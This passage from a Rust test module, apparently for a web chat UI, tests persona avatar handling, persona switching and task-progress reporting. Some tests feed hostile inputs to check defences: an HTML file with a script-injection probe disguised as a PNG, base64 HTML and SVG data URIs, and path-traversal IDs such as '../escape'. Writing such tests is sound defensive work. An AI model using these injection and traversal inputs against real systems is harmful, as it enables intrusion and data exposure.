15209        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15210        assert_eq!(
15211            view.talk.turns[0].messages[0].sender,
15212            Some(talk::Sender::Magi)
15213        );
15214        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15215        conversation.completion_notices[0]
15216            .notice
15217            .push_str("different");
15218        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15219        assert!(view.talk.turns[0].messages.is_empty());
15220        assert!(view.talk.pending_messages.is_empty());
15221    }
15222
15223    #[tokio::test]
15224    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15225        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15226        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15227            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15228        ))
15229        .await;
15230        let path = avatar_setting_path(home.path(), Some("rei"));
15231        let orphan = avatar_setting_path(home.path(), Some("removed"));
15232        save_icon_file(&orphan, icon).unwrap();
15233        for (saved, expected) in [
15234            (icon, "custom"),
15235            ("builtin", "builtin"),
15236            ("data:image/png;base64,!!!!", "inherit"),
15237            ("data:image/png;base64,PGh0bWw+", "inherit"),
15238            ("/tmp/avatar.png", "inherit"),
15239        ] {
15240            atomic_icon_write(&path, saved).unwrap();
15241            let catalog =
15242                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15243                    .await
15244                    .unwrap()
15245                    .0;
15246            let personas = catalog["personas"].as_array().unwrap();
15247            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15248            assert_eq!(rei["override_state"], expected);
15249            assert_eq!(rei["has_config_icon"], true);
15250            assert_eq!(rei["is_orphan"], false);
15251            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15252            assert_eq!(removed["override_state"], "custom");
15253            assert_eq!(removed["is_orphan"], true);
15254            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15255            assert_eq!(default["override_state"], "inherit");
15256            assert_eq!(default["has_config_icon"], false);
15257            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15258            assert_eq!(
15259                effective.as_deref(),
15260                Some(if expected == "builtin" { "" } else { icon })
15261            );
15262        }
15263    }
15264
15265    #[tokio::test]
15266    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15267        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15268        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15269            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15270        ))
15271        .await;
15272        let target = |id: Option<&str>| AvatarSettingsQuery {
15273            persona: id.map(str::to_owned),
15274            ..Default::default()
15275        };
15276        let original_config = config_for(&repo).await.unwrap();
15277        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15278        let original_prompt = persona::section_for(&original_persona, None);
15279        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15280            .await
15281            .unwrap()
15282            .0;
15283        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15284            let _ = avatar_settings_put(
15285                State(ui.clone()),
15286                Query(target(persona)),
15287                Json(MagiIconUpload { icon: icon.into() }),
15288            )
15289            .await
15290            .unwrap();
15291            let path = avatar_setting_path(home.path(), persona);
15292            assert!(path.starts_with(home.path().join("avatars")));
15293            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15294            for bad in [
15295                "/tmp/image.png".to_owned(),
15296                "data:image/png;base64,!!!!".to_owned(),
15297                "data:image/png;base64,PGh0bWw+".to_owned(),
15298                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15299                format!(
15300                    "data:image/png;base64,{}",
15301                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15302                ),
15303            ] {
15304                assert!(
15305                    avatar_settings_put(
15306                        State(ui.clone()),
15307                        Query(target(persona)),
15308                        Json(MagiIconUpload { icon: bad })
15309                    )
15310                    .await
15311                    .is_err()
15312                );
15313                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15314            }
15315        }
15316        assert!(read_magi_icon(home.path()).is_none());
15317        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15318        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15319            .await
15320            .unwrap()
15321            .0;
15322        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15323        assert_ne!(
15324            before
15325                .personas
15326                .iter()
15327                .find(|p| p.id == "magi")
15328                .unwrap()
15329                .avatar,
15330            after
15331                .personas
15332                .iter()
15333                .find(|p| p.id == "magi")
15334                .unwrap()
15335                .avatar
15336        );
15337        let restarted = Arc::new(Ui::new(
15338            Queue::at(home.path().join("queue")),
15339            Questions::at(home.path().join("questions")),
15340            Talks::at(home.path().join("talks")),
15341            home.path().join("runs"),
15342            home.path().to_owned(),
15343            repo,
15344        ));
15345        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15346            .await
15347            .unwrap()
15348            .0;
15349        assert!(
15350            catalog["personas"]
15351                .as_array()
15352                .unwrap()
15353                .iter()
15354                .any(|p| p["id"] == "../custom/日本語")
15355        );
15356        for expected in ["custom", "default", "rei"] {
15357            assert!(
15358                catalog["personas"]
15359                    .as_array()
15360                    .unwrap()
15361                    .iter()
15362                    .any(|p| p["id"] == expected)
15363            );
15364        }
15365        let response =
15366            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15367        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15368        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15369            .await
15370            .unwrap();
15371        assert_eq!(
15372            effective_persona_icon(home.path(), "rei", Some(icon)),
15373            Some(String::new())
15374        );
15375        let response = talk_avatar(
15376            State(restarted.clone()),
15377            Path(id.clone()),
15378            Query(AvatarQuery {
15379                persona: Some("rei".into()),
15380                ..Default::default()
15381            }),
15382        )
15383        .await
15384        .unwrap();
15385        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15386        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15387            .await
15388            .unwrap()
15389            .0;
15390        assert_ne!(
15391            after
15392                .personas
15393                .iter()
15394                .find(|p| p.id == "rei")
15395                .unwrap()
15396                .avatar,
15397            reset
15398                .personas
15399                .iter()
15400                .find(|p| p.id == "rei")
15401                .unwrap()
15402                .avatar
15403        );
15404        let mut inherit = target(Some("rei"));
15405        inherit.inherit = Some("1".into());
15406        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15407            .await
15408            .unwrap();
15409        assert_eq!(
15410            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15411            Some(icon)
15412        );
15413        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15414            .await
15415            .unwrap();
15416        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15417        assert_eq!(
15418            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15419            Some(icon)
15420        );
15421        // Display changes never rewrite the conversation or its prompt-bearing config.
15422        let cfg = config_for(&ui.repo).await.unwrap();
15423        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15424        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15425        assert!(!original_prompt.contains("data:image"));
15426        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15427        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15428        assert!(!stored.contains("data:image"));
15429        let mut orphan = ui.talks.get(&id).unwrap();
15430        orphan.persona = "../custom/日本語".into();
15431        let view = TalkView::with_config(
15432            orphan,
15433            false,
15434            Some(&cfg),
15435            home.path(),
15436            &id_links::IndexCache::default(),
15437        );
15438        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15439    }
15440
15441    #[tokio::test]
15442    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15443        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15444        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15445        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15446        let _ = magi_icon_put(
15447            State(ui.clone()),
15448            Json(MagiIconUpload { icon: icon.into() }),
15449        )
15450        .await
15451        .unwrap();
15452        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15453        assert_ne!(original, changed);
15454        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15455        let response = magi_avatar(
15456            State(ui.clone()),
15457            Query(AvatarQuery {
15458                persona: None,
15459                builtin: None,
15460            }),
15461        )
15462        .await;
15463        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15464        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15465        assert_eq!(
15466            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15467            "nosniff"
15468        );
15469        for bad in [
15470            "data:image/png;base64,PGh0bWw+".to_owned(),
15471            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15472            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15473        ] {
15474            assert!(save_magi_icon(home.path(), &bad).is_err());
15475            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15476        }
15477        // Re-opened server state reads the same independent home file.
15478        let restarted = Arc::new(Ui::new(
15479            Queue::at(home.path().join("queue")),
15480            Questions::at(home.path().join("questions")),
15481            Talks::at(home.path().join("talks")),
15482            home.path().join("runs"),
15483            home.path().to_path_buf(),
15484            repo,
15485        ));
15486        assert_eq!(
15487            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15488            changed
15489        );
15490        let view = TalkView::with_config(
15491            restarted.talks.get(&id).unwrap(),
15492            false,
15493            None,
15494            &restarted.home,
15495            &restarted.references,
15496        );
15497        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15498        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15499        let response = magi_avatar(
15500            State(ui.clone()),
15501            Query(AvatarQuery {
15502                persona: None,
15503                builtin: None,
15504            }),
15505        )
15506        .await;
15507        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15508            .await
15509            .unwrap();
15510        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15511        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15512        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15513        let _ = magi_icon_delete(State(ui)).await.unwrap();
15514    }
15515
15516    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
15517    async fn avatar(
15518        ui: &Arc<Ui>,
15519        id: &str,
15520        persona: Option<&str>,
15521        builtin: bool,
15522    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15523        let res = talk_avatar(
15524            State(Arc::clone(ui)),
15525            Path(id.to_owned()),
15526            Query(AvatarQuery {
15527                persona: persona.map(str::to_owned),
15528                builtin: builtin.then(|| "1".to_owned()),
15529            }),
15530        )
15531        .await
15532        .expect("an avatar is never an error response");
15533        let h = res.headers();
15534        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15535        let nosniff = h
15536            .get(header::X_CONTENT_TYPE_OPTIONS)
15537            .is_some_and(|v| v == "nosniff");
15538        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15539        let status = res.status();
15540        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15541            .await
15542            .expect("body")
15543            .to_vec();
15544        (status, ct, nosniff, csp, body)
15545    }
15546
15547    fn tiny_png() -> Vec<u8> {
15548        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15549        b.extend_from_slice(&[0u8; 32]);
15550        b
15551    }
15552
15553    #[tokio::test]
15554    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15555        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15556        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15557        assert_eq!(res.status(), StatusCode::OK);
15558        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15559        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15560        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15561        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15562        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15563            .await
15564            .unwrap();
15565        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15566        assert_ne!(
15567            persona_icon::operator_svg(),
15568            persona_icon::builtin_svg("default")
15569        );
15570    }
15571
15572    #[tokio::test]
15573    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15574        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15575        for p in [
15576            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15577        ] {
15578            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15579            assert_eq!(status, StatusCode::OK, "{p}");
15580            assert_eq!(ct, "image/svg+xml", "{p}");
15581            assert!(nosniff && csp, "{p}");
15582            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15583        }
15584        // No `persona` means the conversation's own; unknown ones fall back.
15585        let own = avatar(&ui, &id, None, false).await;
15586        let default = avatar(&ui, &id, Some("default"), false).await;
15587        assert_eq!(own.4, default.4);
15588        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15589        assert_eq!(unknown.1, "image/svg+xml");
15590    }
15591
15592    #[tokio::test]
15593    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15594        let dir = TempDir::new().expect("icons");
15595        let good = dir.path().join("good.png");
15596        std::fs::write(&good, tiny_png()).unwrap();
15597        let spoof = dir.path().join("spoof.png");
15598        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15599        let big = dir.path().join("big.png");
15600        let mut bytes = tiny_png();
15601        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15602        std::fs::write(&big, bytes).unwrap();
15603        let missing = dir.path().join("missing.png");
15604        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15605        let extra = format!(
15606            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15607             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15608             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15609             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15610             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15611             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15612            uri(&good),
15613            uri(&spoof),
15614            uri(&big),
15615            uri(&missing),
15616        );
15617        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15618
15619        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15620        assert_eq!(
15621            (status, ct.as_str(), nosniff),
15622            (StatusCode::OK, "image/png", true)
15623        );
15624        assert_eq!(body, tiny_png());
15625        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15626        assert_eq!(ct, "image/png", "data URI");
15627
15628        for p in ["misato", "asuka", "shinji", "magi"] {
15629            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15630            assert_eq!(
15631                (status, ct.as_str(), csp),
15632                (StatusCode::OK, "image/svg+xml", true),
15633                "{p}"
15634            );
15635            assert!(body.starts_with(b"<svg"), "{p}");
15636        }
15637        // The page's own retry skips the icon.
15638        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15639        assert_eq!(ct, "image/svg+xml");
15640    }
15641
15642    #[tokio::test]
15643    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15644        let oversized = format!(
15645            "data:image/png;base64,{}",
15646            "A".repeat(persona_icon::ICON_MAX_BYTES)
15647        );
15648        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15649            let extra = format!(
15650                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15651            );
15652            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15653            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15654                .await
15655                .expect("detail with invalid icon");
15656            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15657            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15658            assert_eq!(status, StatusCode::OK);
15659            assert_eq!(ct, "image/svg+xml");
15660            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15661            let Json(view) = talk_persona(
15662                State(Arc::clone(&ui)),
15663                Path(id.clone()),
15664                Json(TalkPersona {
15665                    persona: "custom".into(),
15666                }),
15667            )
15668            .await
15669            .expect("persona switch with invalid icon");
15670            assert_eq!(view.talk.persona, "custom");
15671            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15672        }
15673    }
15674
15675    #[tokio::test]
15676    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15677        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15678        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15679        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15680        assert_eq!(
15681            (status, ct.as_str(), nosniff, csp),
15682            (StatusCode::OK, "image/svg+xml", true, true)
15683        );
15684    }
15685
15686    #[tokio::test]
15687    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15688        let (_t, _h, ui, id, _repo) =
15689            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15690        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15691            .await
15692            .expect("detail");
15693        let json = serde_json::to_string(&detail).unwrap();
15694        assert!(
15695            !json.contains("secret"),
15696            "the icon setting must not leak: {json}"
15697        );
15698        assert!(
15699            detail
15700                .view
15701                .persona_avatar
15702                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15703        );
15704        assert_eq!(
15705            detail.view.operator_avatar,
15706            format!(
15707                "/avatars/operator.svg?v={}",
15708                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15709            )
15710        );
15711        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15712        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15713        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15714        assert!(rei.avatar.contains("persona=rei&v="));
15715        assert_ne!(
15716            rei.avatar.split("&v=").nth(1),
15717            plain.avatar.split("&v=").nth(1)
15718        );
15719    }
15720
15721    #[tokio::test]
15722    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15723        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15724        let cfg = config_for(&repo).await.unwrap();
15725        for arrived in [false, true] {
15726            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15727            let observed = ui.queued_generation(&id);
15728            let talk = ui.talks.get(&id).unwrap();
15729            if arrived {
15730                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15731            }
15732            let mut settling = std::pin::pin!(settle_settings_turn(
15733                talk,
15734                ui.talks.clone(),
15735                cfg.clone(),
15736                id.clone(),
15737                turn,
15738                observed
15739            ));
15740            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15741            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15742            assert_eq!(first.is_pending(), arrived);
15743            if arrived {
15744                assert!(!settling.await);
15745            }
15746            assert!(!ui.is_thinking(&id));
15747        }
15748    }
15749
15750    #[tokio::test]
15751    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15752        let tmp = TempDir::new().expect("tempdir");
15753        let repo = tmp.path().join("repo");
15754        std::fs::create_dir_all(&repo).expect("repo dir");
15755        std::fs::write(
15756            repo.join("magi.toml"),
15757            format!(
15758                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15759            ),
15760        )
15761        .expect("write magi.toml");
15762        let home = TempDir::new().expect("temp home");
15763        let talks = Talks::at(home.path().join("talks"));
15764        let ui = Arc::new(
15765            Ui::new(
15766                Queue::at(home.path().join("queue")),
15767                Questions::at(home.path().join("questions")),
15768                talks.clone(),
15769                home.path().join("runs"),
15770                home.path().to_path_buf(),
15771                repo.clone(),
15772            )
15773            .with_worktrees_root(home.path().join("wt")),
15774        );
15775        let cfg = config_for(&repo).await.expect("discover config");
15776        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15777        let id = talk.id.clone();
15778        let call = |persona: &str| {
15779            talk_persona(
15780                State(Arc::clone(&ui)),
15781                Path(id.clone()),
15782                Json(TalkPersona {
15783                    persona: persona.to_owned(),
15784                }),
15785            )
15786        };
15787
15788        let unknown = call("nobody").await.expect_err("unknown persona");
15789        assert_eq!(
15790            unknown.status,
15791            StatusCode::BAD_REQUEST,
15792            "{}",
15793            unknown.message
15794        );
15795
15796        {
15797            // Nothing refused so far took a claim, so the guard is free to take
15798            // and holding it is what makes the talk busy.
15799            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15800            let busy = call("rei").await.expect_err("busy talk");
15801            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15802            assert!(
15803                busy.message.contains("a talk turn is running"),
15804                "{}",
15805                busy.message
15806            );
15807            drop(guard);
15808        }
15809        assert_eq!(talks.get(&id).expect("reload").persona, "");
15810
15811        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15812        assert_eq!(view.talk.persona, "gendo");
15813        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15814        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15815        // No intervening I/O or sleep may be needed before another change.
15816        for chosen in ["default", "gendo", "rei", "gendo"] {
15817            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15818            assert!(!view.thinking);
15819            assert!(!ui.is_thinking(&id));
15820        }
15821
15822        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15823            .await
15824            .expect("detail");
15825        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15826        assert_eq!(ids.first(), Some(&"default"));
15827        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15828
15829        let Json(view) = call("default").await.expect("back to default");
15830        assert_eq!(view.talk.persona, "");
15831
15832        let mut closed = talks.get(&id).expect("reload");
15833        talk::close(&mut closed, &talks).expect("close");
15834        let refused = call("rei").await.expect_err("closed talk");
15835        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15836        assert!(
15837            refused.message.contains("takes no more turns"),
15838            "{}",
15839            refused.message
15840        );
15841    }
15842
15843    #[tokio::test]
15844    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15845        let f = Fixture::start().await;
15846        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15847        let queue = f.queue();
15848        let mut mine = Task::new(
15849            "rename the loader".to_owned(),
15850            "rename the loader".to_owned(),
15851            PathBuf::from("/repo/magi"),
15852            Source::Agent {
15853                run: talk_id.clone(),
15854                node: "chat".to_owned(),
15855            },
15856        );
15857        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15858        assert_eq!(empty["task_progress"]["state"], "none");
15859        assert_eq!(empty["task_progress"]["total"], 0);
15860        queue.put(&mut mine).expect("file the task");
15861        let mut theirs = Task::new(
15862            "unrelated".to_owned(),
15863            "unrelated".to_owned(),
15864            PathBuf::from("/repo/magi"),
15865            Source::Human,
15866        );
15867        // A later task linked through origin_chat alone is outside this list.
15868        theirs.origin_chat = Some(talk_id.clone());
15869        queue.put(&mut theirs).expect("file the task");
15870
15871        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15872        assert_eq!(res.status, 200, "{}", res.body);
15873        let body = res.json();
15874        assert_eq!(
15875            body["status"], "open",
15876            "filing a task does not close a talk"
15877        );
15878        let tasks = body["tasks"].as_array().expect("tasks array");
15879        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15880        assert_eq!(tasks[0]["id"], mine.id);
15881        for status in [
15882            TaskStatus::Queued,
15883            TaskStatus::Running,
15884            TaskStatus::Held,
15885            TaskStatus::Failed,
15886            TaskStatus::Blocked,
15887            TaskStatus::Parked,
15888            TaskStatus::Done,
15889            TaskStatus::Queued,
15890        ] {
15891            mine.status = status;
15892            queue.put(&mut mine).expect("update status");
15893            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15894            let progress = &detail["task_progress"];
15895            assert_eq!(progress["total"], 1);
15896            assert_eq!(progress["counts"][status.as_str()], 1);
15897            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15898            assert_eq!(detail["status"], "open", "completion never closes the chat");
15899            if status == TaskStatus::Done {
15900                assert_eq!(progress["state"], "complete");
15901                assert_eq!(progress["done"], 1);
15902                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15903            } else {
15904                assert_eq!(progress["state"], "incomplete");
15905                assert_eq!(progress["done"], 0);
15906                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15907            }
15908        }
15909    }
15910
15911    #[test]
15912    fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
15913        let home = tempfile::tempdir().unwrap();
15914        let runs = home.path().join("runs");
15915        let queue = Queue::at(home.path().join("queue"));
15916        let talks = Talks::at(home.path().join("talks"));
15917        let config = stub_config();
15918        let repo = PathBuf::from("/repo/magi");
15919        let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
15920        let reserve_run = |repo| {
15921            let mut run = RunState::new(
15922                repo,
15923                "main".into(),
15924                "0000000".into(),
15925                "Follow the review".into(),
15926                config.clone(),
15927            );
15928            run.reserve_under(home.path()).unwrap();
15929            run
15930        };
15931        let older = reserve_run(repo.clone());
15932        let newer = reserve_run(repo.clone());
15933        let foreign = reserve_run(PathBuf::from("/repo/other"));
15934        let mismatched = reserve_run(repo.clone());
15935        let corrupt = reserve_run(repo.clone());
15936        let run_file = |id: &str| runs.join(id).join("run.json");
15937        std::fs::write(
15938            run_file(&mismatched.id),
15939            serde_json::to_vec(&older).unwrap(),
15940        )
15941        .unwrap();
15942        std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
15943        let goal = |tasks: Vec<String>, runs: Vec<String>| {
15944            serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
15945                "id": "g", "purpose": "Follow the review", "scope": "review",
15946                "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
15947                "state": "waiting", "step": "Follow the recorded review",
15948                "source_turn": 0, "owner_input": "Follow the review",
15949                "tasks": tasks, "runs": runs, "watches": [],
15950                "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
15951                "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
15952            }))
15953            .unwrap()
15954        };
15955        let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
15956
15957        talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
15958        assert_eq!(link(&talk), Some(("run", newer.id.clone())));
15959
15960        let unusable = vec![
15961            foreign.id.clone(),
15962            mismatched.id.clone(),
15963            corrupt.id.clone(),
15964            "missing".into(),
15965            "../escape".into(),
15966        ];
15967        let mut references = vec![older.id.clone()];
15968        references.extend(unusable.clone());
15969        talk.goals = vec![goal(vec![], references)];
15970        assert_eq!(link(&talk), Some(("run", older.id.clone())));
15971
15972        talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
15973        assert_eq!(link(&talk), None);
15974
15975        let mut task = Task::new(
15976            "Review".into(),
15977            "Follow the review".into(),
15978            repo,
15979            Source::Human,
15980        );
15981        queue.put(&mut task).unwrap();
15982        talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
15983        assert_eq!(link(&talk), Some(("task", task.id.clone())));
15984
15985        task.runs.push(older.id.clone());
15986        queue.put(&mut task).unwrap();
15987        assert_eq!(link(&talk), Some(("run", older.id)));
15988    }
15989
15990    #[test]
15991    fn talk_task_progress_counts_mixed_statuses() {
15992        let mut tasks: Vec<_> = [
15993            TaskStatus::Queued,
15994            TaskStatus::Running,
15995            TaskStatus::Held,
15996            TaskStatus::Failed,
15997            TaskStatus::Blocked,
15998            TaskStatus::Parked,
15999            TaskStatus::Done,
16000        ]
16001        .into_iter()
16002        .map(|status| {
16003            let mut task = Task::new(
16004                "task".into(),
16005                "task".into(),
16006                PathBuf::from("/repo"),
16007                Source::Human,
16008            );
16009            task.status = status;
16010            task
16011        })
16012        .collect();
16013        let progress = talk_task_progress(&tasks);
16014        assert_eq!(progress.state, "incomplete");
16015        assert_eq!(progress.total, 7);
16016        assert_eq!(progress.done, 1);
16017        assert_eq!(progress.unfinished_ids.len(), 6);
16018        assert!(progress.counts.values().all(|count| *count == 1));
16019        assert_eq!(
16020            progress.unfinished_ids,
16021            tasks[..6]
16022                .iter()
16023                .map(|task| task.id.clone())
16024                .collect::<Vec<_>>()
16025        );
16026
16027        for task in &mut tasks {
16028            task.status = TaskStatus::Done;
16029        }
16030        let complete = talk_task_progress(&tasks);
16031        assert_eq!(complete.state, "complete");
16032        assert_eq!(complete.done, 7);
16033        assert!(complete.unfinished_ids.is_empty());
16034        tasks[0].status = TaskStatus::Queued;
16035        let requeued = talk_task_progress(&tasks);
